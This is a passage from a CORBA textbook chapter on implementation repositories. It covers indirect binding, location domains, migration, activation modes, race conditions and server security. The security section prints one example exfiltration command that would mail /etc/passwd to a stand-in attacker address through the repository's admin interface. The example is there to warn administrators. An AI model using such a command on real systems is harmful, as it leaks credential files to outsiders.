environments, such as embedded systems. 

14.4 Indirect Binding via an Implementation Repository 

Most general-purpose ORBs provide an implementation repository that supports indirect 
binding for persistent references. Indirect binding solves the problems associated with 
direct binding of persistent references, at the cost of slightly reduced performance for the 
first request from a client to an object. The implementation repository typically also 
provides automatic server start-up on demand and may provide different activation 
modes (see Section 14.6). 

14.4.1 Standards Conformance of Implementation Repositories 

The CORBA specification does not standardize the implementation repository and only 
suggests some functions that vendors may choose to implement. This lack of 
standardization is deliberate. 
 
Implementation repositories are intimately related to their underlying platform. For 
example, implementation repositories must deal with details such as process creation and 
termination, threads, and signal handling. These functions vary widely among operating 
systems, so implementation repositories are inherently not portable. 
 
The CORBA specification permits ORB implementations for environments ranging from 
embedded systems to global enterprise systems. It is not feasible to provide a 
specification that covers all possible environments because the exact functionality offered 
by an implementation repository varies dramatically for different environments. 
 
Features such as object migration, scalability, performance, and load balancing all depend 
on the implementation repository. It therefore provides a major point at which ORB 
vendors can provide additional features and tailor repositories to target environments. 
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Despite the lack of standardization, interoperability among ORBs from different vendors 
is still guaranteed. CORBA strictly specifies how an implementation repository interacts 
with clients during binding, so a client using vendor A's ORB can interoperate with an 
implementation repository from vendor B. Proprietary mechanisms exist only between 
servers and their respective implementation repositories. This means that a server written 
for vendor A's ORB requires an implementation repository from the same vendor. 
However, the interactions between servers and their repositories are not visible to clients 
and other servers and so do not compromise interoperability. Proprietary mechanisms 
between servers and their implementation repositories are confined to the ORB 
configuration, and the POA mapping ensures that server source code portability is 
preserved across ORBs from different vendors. 
 
Because implementation repository features are vendor-dependent, the explanations that 
follow may not apply to all ORBs, and you will probably find that your particular ORB's 
repository differs somewhat from what we describe here. However, most general-purpose 
ORBs have implementation repositories that provide features along the lines we describe, 
so the explanations that follow should still be useful. 

14.4.2 Implementation Repository Structure 

An implementation repository has the following responsibilities. 
 
It maintains a registry of known servers. 
It records which server is currently running on which host and at which port number. 
It starts servers on demand if they are registered for automatic start-up. 
 
Each implementation repository must run as a process that listens for requests on a fixed 
host and at a fixed port number. ORB vendors can reserve port numbers for their 
exclusive use through the Internet Assigned Numbers Authority (IANA). In addition, the 
implementation repository must run permanently. This means that implementation 
repositories are daemon processes that are usually started by a start-up script at boot time. 
 

Table 14.1. Example population of an implementation repository's server table. 
Logical Server Name POA Name Start-Up Command Host and Port 
CCS thermometer   bobo.acme.com:1780 
CCS thermostat   bobo.acme.com:1780 
CCS controller rsh bobo /opt/CCS/CCS_svr bobo.acme.com:1799 
NameService ns_poa /opt/myorb/bin/name_svr -v   
Payroll PR_V1   fifi.acme.com:1253 
Stock dept_1     
Stock dept_2     
 
An implementation repository maintains a data structure known as a server table to keep 
track of servers. Table 14.1 shows an example. For each server, the implementation 
repository records the following. 
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Logical server name 
The logical server name identifies what we think of as "the server." In other words, it 
identifies a process that implements one or more POAs when it is instantiated as a 
running process. 
 
POA name 
The POA name serves as a primary key into the table during binding. Whereas the logical 
server name serves mainly as an administrative handle to all the information about a 
server, the POA name occurs in object references and identifies at what address its server 
can be found. 
 
The start-up command records how a server can be started on demand if it is not running 
at the time a client invokes a request. Note that a single logical server can use several 
POAs. If it does, there need not be a start-up command registered for every POA. For 
example, in Table 14.1, the CCS server registers a start-up command only for the 
controller POA but not for the thermometer and thermostat POAs. In that case, only 
requests to the controller, but not thermometers and thermostats, will result in automatic 
activation of the server. 
 
Registration of a start-up command is optional. For example, the Stock and Payroll 
servers in Table 14.1 do not have a start-up command. Absence of a start-up command 
means that these servers will not be started by the implementation repository on demand. 
Instead, they must be started by hand.[2]  

[2] Earlier versions of the CORBA specification used to call such servers persistent 
servers. Unfortunately, the term persistent as applied to servers had nothing to do 
with persistent IORs. Instead, the term denoted a server that must be started 
manually. Because of the potential confusion with persistent references, the term 
persistent server no longer exists in the specification (but you may come across it in 
older literature on CORBA). 

Also note that the server that is started by the implementation repository need not run on 
the same machine as the repository itself. For example, the CCS server is started on a 
different machine via the remote shell. Using rsh to start a server remotely is only one 
possible option. Some ORBs also allow you to directly nominate a host for a server, and 
the ORB takes care of starting the server on that host for you. In addition, some ORBs 
also allow you to specify a specific port number for the server to use. 
 
Host and port 
This column records the address at which a server is currently running. No entry in this 
column indicates that the server is currently down. 
 
Note that if a server uses multiple POAs, different POAs may be listening for requests on 
the same port or may use different ports. The choice depends on your ORB vendor. Some 
ORBs map all POAs in a server to the same port number, whereas others assign a 
different port to each POA or POA manager. The choice does not affect how you write 
your server code. The main point of interest is that for each instantiated POA, the 
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implementation repository knows at what host and port that POA listens for incoming 
requests. 
 
ORBs provide an administrative command that allows you to populate the 
implementation repository to inform it of the logical server name, the names of the POAs 
used by that server, and a command line if the server is to be started on demand. 

14.4.3 Location Domains 

Every server that uses indirect binding for persistent references must know where to find 
its implementation repository. Depending on the ORB, the server locates the 
implementation repository via environment variables, configuration files, or command-
line options. The important point is that every server knows the host and port number of 
its repository. 
 
Servers that are configured to use the same implementation repository are said to be in 
the same location domain. In effect, location domains are groups of machines or server 
processes, and all machines or server processes in the same location domain create object 
references that are bound via the same repository. The repository can typically run 
anywhere and not just on the same machine as the server processes it looks after 
(although some ORBs impose such a restriction). A particular location domain can 
encompass only a single machine or server, or it can contain multiple machines and 
servers. We discuss location domains in more detail in Section 14.5) 

14.4.4 Interactions between Server and Implementation 
Repository 

When a server process starts up, it looks in its configuration information for the host and 
port number of its implementation repository and connects to the repository. It then sends 
a message containing the name of the server's host to the implementation repository. This 
informs the repository on which machine the server was started; it may not be the same 
machine every time. 
 
For every new persistent POA created by the server, the server sends a message to the 
implementation repository that contains the POA name and the port number at which that 
POA listens for requests. Conversely, whenever a POA is destroyed, the server informs 
the repository that this POA is no longer accepting requests. When a server shuts down 
(typically when its event loop terminates), it also informs the implementation repository 
that the server can no longer process requests. 
 
The net effect is that the implementation repository knows at all times which servers are 
running where, which POAs are active, and at what port number each POA is listening. 
Typically, implementation repositories also implement a number of mechanisms to deal 
with various failures. For example, a high-quality repository will detect whether a server 
has crashed and will deal with failures such as loss of connectivity. 
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The details of the interactions between an implementation repository and its servers and 
POAs are complex and vendor-specific. For this reason, we do not fully elaborate all the 
error recovery scenarios here. Instead, we present the general principles of how an ORB 
binds requests to servants. 

14.4.5 Binding via an Implementation Repository 

When a server creates a persistent reference, it sets the address and port number in the 
profile body of the IOR to point at the implementation repository that is responsible for 
the server. The server knows which host and port number to use by looking in its 
configuration information. In addition, the IOR contains the POA name and object ID as 
usual. 
 
When a client first uses the IOR, it attempts to open a connection to the host and port 
found in the profile body. For indirect binding, the host and port are those of the 
implementation repository. If the repository is down and no connection can be 
established, the client-side run time raises a TRANSIENT exception in the client 
application code. The rationale for this is that the repository may come up again later, so 
if the client retries the operation after some time, binding may be successful. 
 
If the client succeeds in connecting to the implementation repository, it simply sends 
whatever request was invoked by the application.[3] The implementation repository cannot 
process the request because the actual target object lives in a different server process. 
However, because the server and the implementation repository use the same ORB, the 
implementation repository knows how to decode the object key that was sent by the client 
with the request. The repository now unpacks the POA name from the object key and 
uses it as an index into its server table. 

[3] See also Section 14.4.6, which discusses strategies for optimizing this behavior. 

If the POA name cannot be found in the server table (because the server was never 
registered), the target server is completely unknown to the repository. In this case, the 
repository replies to the client with an OBJECT_NOT_EXIST exception, which is 
propagated up to the client application code. 
 
If the POA name is known but the corresponding server is not running and does not have 
a registered command line for automatic start-up, the repository returns a TRANSIENT 
exception to the client, which is propagated up to the application code. 
 
If the POA name is known and if the corresponding server is not running but has a 
command line registered, the repository starts the server process by executing the 
command. It then waits for messages from the server that indicate the server's host and 
the port number for the POA used by the request. These messages not only inform the 
repository of the POA's address details but also let it know that the POA is ready to 
accept requests. 
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If the server is running (possibly after being started first), the repository returns a Reply 
message with a reply_status of LOCATION_FORWARD to the client (see Section 
13.4.2). In the body of this reply, the repository returns another object reference to the 
client. The repository constructs that IOR by creating a new profile body that contains the 
actual host and port of the server along with the original POA name and object ID. 
 
The client now has a new object reference and restarts the binding process from scratch 
by opening a connection to the host and port indicated in the new reference's profile and 
sending the request a second time. Because the implementation repository returned the 
current addressing information of the actual server, the client sends the request to the 
correct server on this second attempt and the request is bound to its servant as with 
transient references. 
 
Figure 14.1 illustrates the sequence of interactions for a reference to the controller 
object, assuming that the server is registered as shown in Table 14.1. The diagram 
assumes that the implementation repository runs on machine coco at port 2133 and that 
the CCS server is not running when the client invokes the request. The sequence of steps 
during binding is as follows. 

Figure 14.1 Binding of a persistent reference via the implementation 
repository with automatic server start-up. 

 
Step 1.  

The client invokes the find operation on the controller. This results in the client-side 
run time opening a connection to the address found in the controller IOR, which is the 
address of the repository. With the request, the client sends the object key (which 
contains the POA name and the object ID—controller and C1 in this example). 

Step 2.  
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The repository uses the POA name (controller) to index into its server table and 
finds that the server is not running. Because the POA has a registered command, the 
repository executes the command to start the server. 

Step 3.  
The server sends messages that inform the repository of its machine name (bobo), the 
names of the POAs it has created and their port numbers (controller at 1799), and 
the fact that it is ready to accept requests. 

Step 4.  
The implementation repository constructs a new object reference that contains host bobo, 
port number 1799, and the original object key and returns in a LOCATION_FORWARD 
reply. 

Step 5.  
The client opens a connection to bobo at port 1799 and sends the request a second time. 

Step 6.  
The server uses the POA name to locate the POA that contains the servant for the request. 
The POA contains another table, the Active Object Map, which maps object IDs to the 
memory address of the corresponding C++ servant. (Not all POAs have an Active Object 
Map; depending on the activation policy, the POA may also invoke an application-
supplied servant manager to locate the correct servant, or the POA may dispatch the 
request to a default servant. The point is that the object ID serves to identify the servant 
that handles the request.) After the server has identified the servant object, it dispatches 
the request to the servant. 

Step 7.  
The servant completes the find operation and returns its results, which are marshaled 
back to the client in a Reply message. 
 
As you can see, indirect binding uses the implementation repository as a location broker 
that returns a new IOR to the client that points at the current server location. The CORBA 
specification does not limit indirection to a single level. Instead, it requires a client to 
always respond to a LOCATION_FORWARD reply by attempting to send another request. 
Allowing multiple LOCATION_FORWARD replies permits more-complex repository 
designs, such as federated repositories, which distribute the binding load over a number 
of physical servers. (To the best of our knowledge, no ORBs implement federated 
repositories at the time of writing.) 

14.4.6 Binding Optimizations 

The indirect binding scenario we show in Section 14.4.5 can be optimized in a 
number of ways depending on your ORB and whether the client holds a reference to an 
object in the same ORB or another vendor's ORB. Note that the optimizations we outline 
here are not required by CORBA, so whether they are present in your ORB is vendor-
dependent. 

Explicit Location Resolution 
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When a client opens a connection and sends a request, it typically has no idea whether the 
connection leads to the implementation repository (and binding will be indirect) or 
whether the connection leads straight to the actual server (and binding will be direct). The 
client sends the request that was invoked by the application in either case. 
 
If a request contains in or inout parameters that are large (larger than a few hundred 
bytes), indirect binding wastes bandwidth. During indirect binding, the client sends in 
and inout parameters to the repository with the initial request. The repository ignores 
the parameter values because it requires only the object key to return a new IOR to the 
client, and the client transmits the parameter values a second time when it sends the 
request to the actual server at the forwarding location. 
 
To avoid this repeated marshaling of parameters, a client can explicitly resolve the 
location of a server by sending a LocateRequest message. The body of a 
LocateRequest message contains only the object key. If the parameter values are 
large, this approach can save considerable bandwidth. A server that receives a 
LocateRequest message replies to the client with a LocateReply message. 
 
If the client sends a LocateRequest message to the implementation repository, the 
repository resolves the request to a server location as usual and returns another IOR in the 
LocateReply message. 
 
If the client sends a LocateRequest message to the actual server that implements the 
object, the server returns a LocateReply message with a special status that indicates 
that the client has already reached the correct location. 
 
Many ORBs always use this optimization and unconditionally send a LocateRequest 
message (instead of sending a complete request) whenever they encounter an IOR that 
has not yet been bound: for requests with large parameters, the LocateRequest 
message saves bandwidth; for requests with small parameters, sending a 
LocateRequest message is no less efficient than sending a Request message but 
simplifies the ORB implementation. 
 
The only disadvantage of always sending an explicit LocateRequest first is that 
binding of transient IORs requires two messages instead of a single message. However, 
this is rarely a problem in practice because, in general-purpose ORBs, most IORs are 
persistent. (At any rate, a LocateRequest message is sent only for the first operation 
invocation on an object, so the actual performance difference is negligible.) 

Avoidance of Indirect Binding 

Indirect binding requires the client to always contact the implementation repository 
whenever a reference is used for the first time. After the reference has been bound, 
subsequent requests do not involve the implementation repository because the client 
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already has an open connection to the server implementing the object and therefore 
knows how to reach the object implementation. 
 
However, in large systems, the indirection via the implementation repository during 
dispatch of the first request on an IOR can slow a system down considerably. Not only 
does indirection require additional bandwidth, but it also can cause the repository to 
become a bottleneck. If there are many clients in the system, the repository may not be 
able to keep up with the binding requests and so may limit overall throughput. 
 
If a client receives a reference created by another vendor's ORB, the client has no choice 
except to follow the normal binding protocol. The client has no idea how the object key 
encodes things such as the POA name (the object for the reference may not even be 
implemented using the POA). However, if the client receives an object reference that was 
created by the same ORB, it knows how to decode the object key. If the ORB uses 
multicomponent profiles, the IOR can carry a reliable identification of the ORB vendor 
and model. 
 
This knowledge is valuable to the client-side run time because it can extract the POA 
name from the object key inside the IOR. If the client has previously bound a reference to 
an object in the same POA, it need not send the request to the implementation repository. 
Instead, it can cache which POA names belong to which connection and send the request 
directly to the correct server. 

Caching the Server Birth Address 

Normally, a server simply writes the address of the implementation repository into the 
profile body of each persistent reference. If an ORB uses multicomponent profiles, the 
server can additionally embed its own host and port number (known as the server birth 
address) in one of the components of the object key. When a client written for the same 
ORB receives the reference, it can extract the server birth address from the reference and 
attempt to connect directly to the server. 
 
The server may no longer be running at the address it used when the reference was 
created. In that case, the attempt to reach the server at its birth address fails and the client 
then rebinds using the implementation repository. 
 
The birth address optimization reduces the load on the implementation repository, 
especially if servers tend to be long-lived. The optimization is particularly useful for 
servers that are always started on the same port number (many implementation 
repositories offer this as an option). Of course, a server may eventually move to a 
different host or port number, perhaps months later. To avoid futile attempts to reach a 
server at its birth address on the first call via each reference, the client can maintain a 
table of birth addresses that are known to be stale. With such a table, a non-functional 
birth address will be tried only once. 
 
Note that the client cannot update a stale birth address in a reference after it has learned 
the new location of the server from the repository. Doing this would be useful—for 
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example, if the client in turn passes the reference to another process. However, the 
CORBA specification makes it illegal: no component of a CORBA system is allowed to 
modify any part of an object reference after the reference is created. The 
Object::hash operation guarantees that the hash value for a reference will not change 
while that reference denotes an existing object. If the client were to update the server 
birth address inside an IOR, the hash value would change. 

Proprietary Protocols between Server and Implementation Repository 

Figure 14.1 illustrates the messages exchanged between client, implementation 
repository, and server. Note that steps 1, 4, 5, and 7 use IIOP. In other words, all 
interactions that involve the client are portable whether client and server use the same 
vendor's ORB or different ORBs. On the other hand, steps 2 and 3 are restricted to the 
interaction between the server and its implementation repository. The server and the 
implementation repository always use an ORB from the same vendor, and their 
interactions are invisible to clients. Therefore, an ORB is free to use any protocol and 
communication mechanism it likes for these interactions. 
 
Frequently, the implementation repository has an IDL interface that the server uses to 
send its address details. In other words, the implementation repository can appear as an 
ordinary CORBA object to the server, and the server communicates with it using IIOP. 
However, there are other options open to ORB vendors to improve performance. 
 
Some ORBs use a UDP-based protocol between server and implementation repository. 
When the server starts up, instead of connecting to the repository using an address picked 
up from the ORB configuration, the server can send a UDP broadcast to dynamically 
acquire the address of the repository. One or more repositories that know the server's 
POA names and command line respond with their address details to the server, and the 
server chooses one of the repository addresses it receives to embed in IORs. 
 
This mechanism not only simplifies configuration but also can provide simple fault 
tolerance. For example, if several repositories reply to the server, the server can create 
IORs with multiple profiles, one for each repository. The assumption is that the 
repositories are mirrors of each other, and if one repository becomes unreachable or 
crashes, the client has a second address in the IOR it can use to bind a request. (However, 
no commercial ORBs currently implement this feature.) 
 
Using UDP to communicate with the repository can also be more efficient because UDP 
is a lightweight protocol with less overhead than IIOP. If the server and the 
implementation repository reside on the same host, they can also use a completely 
different transport for communication, such as a UNIX domain socket or shared memory, 
which can be faster in some environments. 

Load Balancing 

Some repositories offer a simple load-balancing mechanism. For example, a repository 
can monitor the load on a number of machines and start a server on the machine that has 
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the lowest load, or it can simply randomize the list of available machines as a crude form 
of load balancing. Starting a server on different machines depending on load makes sense 
only for a server that does not depend on the local filesystem for its object state. 
Otherwise, starting the server on a different machine would cut it off from its files. 

14.5 Migration, Reliability, Performance, and Scalability 

It is instructive to consider the architectural consequences of the repository design we 
discuss in Section 14.4.5 
 
The design uses a single repository address for each IOR. As a consequence, failure of 
the repository prevents clients from binding to objects in all servers in the repository's 
location domain. This makes the repository a single point of failure. 
 
State is distributed between the implementation repository and servers so that it is 
unlikely to pile up in any one place. The repository knows only about the POA names 
used by servers and knows nothing about the individual objects implemented by each 
server. Conversely, each server need know only about its own objects and a single 
implementation repository. This design can support systems that scale to very large 
numbers of objects without performance problems. 
 
The design in Section 14.4.5 is only one of many possible designs. Each design has 
its own advantages and disadvantages, and each involves trade-offs among object 
migration, reliability, performance, and scalability. Note that most ORBs do not provide 
all the options we mention here. Instead, an ORB's repository typically offers only a 
small number of options that are tailored to the ORB's intended environment. 

14.5.1 Small Location Domains 

We can make location domains smaller by placing fewer machines in each location 
domain. In the extreme case, every machine in the system runs a separate implementation 
repository that is responsible only for servers on the local machine. This option provides 
high performance because the server and the repository can communicate via the system 
bus instead of over the network. It also improves resilience against failure. If a repository 
crashes, it affects only servers running on the local machine; clients using servers on 
other machines can still bind to objects in these servers. 

14.5.2 Large Location Domains 

If we make large location domains that contain many machines each, performance will 
suffer somewhat because servers must access the repository via the network, which is 
slower than local communication. In addition, the repository can become a bottleneck 
during binding if it is responsible for very many servers. On the other hand, large location 
domains offer maximum freedom for server migration: we can move a server from one 
machine to another as long as we do not cross a location domain boundary. Server 
migration is impossible if we run separate repositories on every machine because after a 
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server is moved, existing references would point at the old repository at the previous 
server location instead of the new one. 

14.5.3 Redundant Implementation Repositories 

To improve resilience to failure, an ORB can run multiple redundant repositories at 
different locations and create multiple profiles for persistent IORs. Each profile contains 
the address of one of the redundant repositories. 
 
This approach improves fault tolerance because a single IOR can be bound by more than 
one repository. However, performance suffers for two reasons. For one thing, IORs get 
larger the more information they carry, so the overhead of using and transmitting object 
references becomes larger. Second, CORBA does not specify in which order a client 
should use the different profiles in an IOR, so a naive client could always try the profiles 
in order. If the repository addressed by the first profile is down, such a client will always 
fail trying to bind via the first profile and then succeed via the second profile. 
 
A more intelligent client could monitor the status of different destinations in a 
multiprofile IOR and avoid using a non-functional address for some period of time before 
trying that address again. Such a client would make more efficient use of the multiple 
profiles in an IOR and would improve binding performance. On the downside, the more 
intelligent the client-side run time, the more CPU cycles and memory it consumes, and 
that has a negative influence on performance. 

14.5.4 Granularity of Object Migration 

The repository design in Section 14.4.5 strikes a compromise between object 
migration and scalability. With this design, we can migrate a subset of the objects in a 
server without breaking existing references. For example, the CCS server uses separate 
POAs for the controller, thermometers, and thermostats. We can move all thermometers 
to a server on a different machine in the same location domain by changing the repository 
registration for the thermometer POA to a new machine. (If we do this, the target 
machine still requires access to the instrument control protocol used to communicate with 
thermometers. For servers that store persistent object state in a database, the target 
machine must be able to access the database; otherwise, the moved objects are cut off 
from their persistent state.) 
 
The basic rule governing granularity of migration is that whenever an object moves, the 
implementation repository must know about that move so that it can return the correct 
LOCATION_FORWARD replies to clients. For the design in Section 14.4.5, this means 
that if an object moves, all other objects using the same POA must move with it.[4]  

[4] This is also why many ORBs cannot implement the CosLifeCycle::move operation. Usually, 
the implementation repository keeps track of POAs instead of individual objects, so it is 
impossible to move a single object at a time. 
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We can get a finer grain of object migration by reducing the number of objects per POA. 
In the extreme, we can use a separate POA for each individual object. This approach 
gives us maximum flexibility for object migration (we can move a single object), but it 
causes other problems. 
 
Adding a new POA name to the server table in the repository usually requires the use of 
an administrative tool. If the number of objects is large or if objects are created and 
destroyed frequently, this becomes infeasible because a human administrator must be 
involved. 
 
Even if the ORB provides a programmatic interface to add new POA names to the 
implementation repository, we still have a problem. By giving each object its own POA, 
we force the implementation repository to store information about each individual object 
instead of storing information about only a few POAs, each of which implements a large 
group of objects. In other words, finer grain of object migration externalizes more state in 
the repository. This externalization can lead to performance problems in the repository. In 
addition, external state can be dangerous: if the repository's view of which objects exist 
ever gets out of sync with the server's view, we have a serious problem. 

14.5.5 Migration across Location Domain Boundaries 

It is possible to migrate servers or objects across location domain boundaries, but it 
reduces performance and scalability. There are two approaches. 
 
When a server migrates to a new domain, it registers itself with its new implementation 
repository as well as all repositories it has used in the past. 
 
The idea is that all repositories ever used by a server know the current location of the 
server and therefore can continue to bind requests arriving via an IOR generated at a 
previous location. This approach works but has the drawback that, over time, more and 
more server registrations accumulate in repositories. This accumulation compromises 
scalability because it increases the amount of externalized state and makes it more likely 
for server registrations to become inconsistent. 
 
When a server migrates to a new domain, an administrator must update the server's 
registration in the old repository to generate LOCATION_FORWARD replies that point at 
the new repository. 
 
The idea is to leave a "footprint" in the old repository that forwards binding requests to 
the new repository, which in turn knows about the location of the server. Again, the 
problem with this approach is that the forwarding footprints accumulate over time. In 
addition, a request from a client via an IOR created at a previous location must be 
forwarded from repository to repository until it finally arrives at the server. The binding 
chain gets longer with every migration, so this approach does not scale in performance if 
servers migrate more than a few times. Moreover, it creates additional failure points 
because intermediate nodes in the chain may fail. 
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Hybrids of these two basic ideas are possible. For example, repositories could be 
arranged into domain hierarchies to reduce the length of forwarding chains (from O(n) to 
O(log n)), and repositories could be combined into redundant groups to gain performance 
and fault tolerance. However, all approaches are subject to the basic trade-offs between 
granularity of migration, reliability, performance, and scalability. 
 
Note that the LOCATION_FORWARD_PERM reply status added with GIOP 1.2 mitigates 
the migration problem somewhat. LOCATION_FORWARD_PERM indicates to the client 
that an object has permanently moved to a new location, so the client can permanently 
replace the original object reference with one for the newlocation. However, 
LOCATION_FORWARD_PERM does not solve the problem completely because the ORB 
cannot automatically update references obtained from persistent storage, such as a 
Naming or Trading Service (see Chapters 18 and 19). 

14.6 Activation Modes 

An implementation repository can provide more than one server activation mode. 
Activation modes were part of the original BOA specification but were removed with the 
2.2 revision of CORBA because the POA specification created a much cleaner 
delineation between object adapters and implementation repositories. In CORBA 2.2, 
only the object adapter is specified; implementation repository features, such as 
activation modes, are not mentioned (they are considered the domain of each ORB 
vendor). 
 
However, you will find mention of activation modes in older CORBA literature, and your 
vendor may offer different activation modes with its implementation repository. Here are 
a few possible modes that may be supported. 
 
Shared activation 
All requests for objects in the same server are directed toward the same single server 
process. Many ORBs provide only shared activation mode because it is sufficient for the 
majority of applications. 
 
Per-client activation 
The repository creates as many server processes as there are distinct client processes. In 
other words, for every new client process, the repository creates a new server process. 
Each server has exactly one incoming connection from a single client process and 
terminates when that connection is closed by the client. 
 
Per-user activation 
The repository creates a new server process for each distinct user that contacts the server. 
This means that if a single user runs three client processes that communicate with objects 
in the same server, the repository starts only a single server process for all three clients. 
However, if another client process starts up on behalf of a different user, the repository 
directs requests from that client to a second instance of the server. Clearly, per-user 
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activation requires the ORB to implement the OMG Security Service, which provides 
authentication. Without authentication, users can fake their identity. 
 
Per-request activation 
With this activation mode, every request, from whatever source, results in a new server 
process. This activation mode is appropriate only for very long-running requests, because 
creating a new server process is typically an expensive operation. 
 
Persistent activation 
With this activation mode, servers that need to run continuously are started by the 
implementation repository immediately after the repository itself is started. Thereafter, 
the repository monitors the health of each server. If a server goes down for some reason, 
the repository restarts it automatically, whether or not clients are currently using the 
server. 

14.7 Race Conditions 

In addition to all its other responsibilities, an implementation repository must take care of 
race conditions that can arise during server activation and shutdown. 

14.7.1 Race Conditions during Activation 

In Section 14.4.2, you saw that an implementation repository stores a logical server 
name as well as a POA name. If a server uses multiple POAs, the repository contains a 
separate entry for each POA with the same logical server name. (Some implementations 
store a list of POA names instead of a separate entry.) There are two reasons for storing a 
logical server name. 
 
A logical name makes it easier to administer the implementation repository. It allows us 
to refer to a server using a single name regardless of how many POAs the server uses. For 
example, when we want to change the command-line options for the CCS server, we can 
change the options for all the POAs used by the server with a single command that uses 
the logical server name instead of having to change the command-line options separately 
for each POA used by the server. 
 
The logical server name informs the implementation repository how POA names map 
onto processes. The repository uses this information to prevent starting more than one 
server if different clients concurrently bind requests for different POAs in the same server. 
The first point is obvious—a logical server name simply makes life easier for ORB 
administrators. However, the second point is less obvious. 
 
Suppose that we use shared activation mode for a server with multiple POAs, such as the 
CCS server in Table 14.1. Assume that the server is currently stopped and that two 
clients more or less simultaneously contact the implementation repository. If one client 
uses a thermometer reference and the other client uses a thermostat reference, the 
implementation repository receives two binding requests, each for a different POA. 
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Without a logical server name, the repository would have no idea how POA names map 
onto server processes and would promptly start the same server twice, one for each POA. 
For servers designed for shared activation mode, this is typically very bad news. For 
example, the server may use the file system as a simple database. If two server processes 
are running side by side, they may write to the same file in parallel without locking, and 
that usually results in corrupted data on disk. 
 
The logical server name prevents start-up of multiple server processes in shared 
activation mode. Whenever the implementation repository receives a request that requires 
starting a server, it maps the POA name in the request to the logical server name. If the 
repository has already started that logical server and is waiting for the server to enter its 
event loop, the repository delays all other binding requests for POAs in the same server 
until the server has initialized itself and can accept requests. When the server process is 
ready, the repository returns its LOCATION_FORWARD reply to all clients that are 
currently binding a reference to any object in the server. This behavior effectively 
prevents the repository from accidentally starting the same server multiple times. 

14.7.2 Race Conditions during Shutdown 

Another race condition can arise during server shutdown. Consider a running server 
whose event loop has just terminated. If the server caches updates, it must flush these 
updates to its database after the event loop terminates but before the server exits. 
 
As soon as the server's event loop has terminated, the server can no longer accept 
requests, so the implementation repository must start another server instance for new 
requests that arrive from clients. This creates a potential race condition, because the first 
server may still be flushing data to files while a second server instance, started by the 
repository, concurrently reads the same files before entering its event loop. 
 
To get around this problem, most implementation repositories monitor the server 
processes they create and do not start a second server process until after the first process 
has exited; the repository delays binding requests from clients while a server is shutting 
down until the server physically exits. When you write a server, you should therefore 
make an effort to quickly exit after the event loop terminates; otherwise, you will unduly 
delay binding requests from clients. 
 
You need to consult your ORB documentation to determine exactly how server shutdown 
is handled by your repository. Some repositories make no effort to deal with the 
shutdown race, in which case you must synchronize server processes yourself (for 
example, by using a lock file). 

14.7.3 Server Shutdown and Rebinding 

After a server's event loop terminates, the server-side run time closes all open 
connections after sending a CloseConnection message on each connection. The 
CloseConnection messages inform clients that they must rebind using the 
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implementation repository before sending more requests to the server. This rebind is 
necessary because a new instance of the server may listen on a different port. Rebinding 
is handled by the ORB run time and therefore is transparent to the client application code. 
Rebinding prevents the client application from receiving spurious exceptions just because 
a server terminated at an inconvenient moment. 
 
If a client is waiting for a reply to a request and detects a broken connection, this means 
that connection shutdown was disorderly, either because the server crashed or because of 
a network failure. In either case, the client run time raises a COMM_FAILURE exception 
with a completion_status of COMPLETED_MAYBE (because the client cannot 
know whether the server crashed just before it accepted the request or after the request 
completed). 
 
If a client detects disorderly connection shutdown while it does not have any replies 
outstanding, the behavior depends on the ORB. Most ORBs try to rebind at least once 
before propagating an exception to the application code. Some ORBs permit you to 
configure the number of times and the intervals at which the run time will attempt to 
rebind before giving up. 
 
Occasionally, retry attempts are combined with exponential back-off, which increases the 
time between retries by a constant factor on every attempt. For example, the ORB may 
double the amount of time it waits between retries until the maximum number of retries is 
reached. Exponential back-off is useful if a large number of clients are connected to a 
server that has terminated abnormally, because it prevents clients from flooding the 
network with retry attempts. Often, exponential back-off is combined with a small 
amount of random variation on each retry period. Again, this is to prevent avalanche 
effects if many clients are confronted with an unreachable server. The random variation 
stops large numbers of clients from attempting to rebind all at the same time. 

14.8 Security Considerations 

Implementation repositories raise a number of security issues. This is not surprising, 
considering that an implementation repository can create new processes in response to 
requests from remote clients. Following are a few tips that should help you to stay out of 
trouble if you need to service requests from clients in untrusted environments. 

14.8.1 Server Privileges 

ORBs vary on how the implementation repository starts server processes. Some 
repositories simply do a fork and exec to start the server. Others delegate process creation 
to another agency, such as a daemon that monitors load average and starts servers on a 
machine with low load. Regardless of the details, you must understand exactly what 
privileges are given to a server started by the repository. 
 
Under UNIX, if the repository simply forks and execs the server, the server process 
inherits the user and group ID of the repository. Clearly, if the repository runs as root or 
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another user with a high level of privilege, this can severely compromise security. For 
example, if a server can create a file in response to a request from a client, the client can 
overwrite critical system files. 
 
Some implementation repositories permit you to specify the user and group ID under 
which each server should be started and refuse to start a process as root. This feature 
makes it easy to assign the appropriate user and group ID to each server. 
 
If your repository does a simple fork and exec, we strongly advise you to run the 
repository at the lowest possible level of privilege. The safest approach is to run the 
repository as the user nobody. Alternatively, you can create a special ORB user without 
a login and make the persistent storage of the repository writable only for that user. 
 
One problem with this approach is that the servers started by the repository may get a 
level of access privilege that is too low for them to work correctly. In that case, the 
easiest option is to make the server set-uid or set-gid to the appropriate level of privilege 
(but not root!) 
 
Some repositories also offer a mode whereby server processes are created as the user that 
executed the client making a request. For example, if the client runs as the user Fred on 
some machine, the server's user ID is also set to Fred on the local machine. Be aware that 
using this activation mode is dangerous unless your ORB implements a security layer 
with proper authentication; a malicious client can easily spoof IIOP requests with a faked 
user ID. 

14.8.2 Remote Repository Access 

An implementation repository typically offers two remote interfaces. One interface is 
used by clients for binding. The other interface is usually used by administrative 
commands—for example, to register and unregister servers for automatic start-up. 
Following is a minimal example of such an administrative interface (this interface is 
hypothetical, but many ORBs use something similar): 
       
interface ImplementationRepository { 
    void    add_server( 
                in string server_name, 
                in string POA_name, 
                in string command_line 
            ) raises(/* ... */); 
    void    remove_server(in string server_name) 
                raises(/* ... */); 
}; 
 
      
Command-line tools to add and remove server registrations in the repository are simply 
CORBA clients that invoke requests on this interface. 
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A security problem arises if the port on which this interface listens for requests is 
accessible to hostile clients. For example, there is nothing to prevent a malicious person 
from registering a server with the following command line: 
       
mail hacker@evil.com </etc/passwd 
 
      
All that remains to complete the attack is for the intruder to write a client that binds a 
reference to the server registered with this command, and the repository will obligingly 
send your password file to the intruder. Much worse cases are possible, especially if the 
repository runs as root. (In that case, you might as well post your root password on a 
public Web site.) 
 
Different ORBs take different approaches to this problem. 
 
If an ORB implements the OMG Security Service, access to the interface can be 
restricted to trusted users. This is the most flexible option, and, with appropriate 
encryption, you can make it arbitrarily safe (that is, infeasibly expensive for an intruder to 
break in using the repository). 
 
Some ORBs use two different ports for the repository. One port is only to resolve binding 
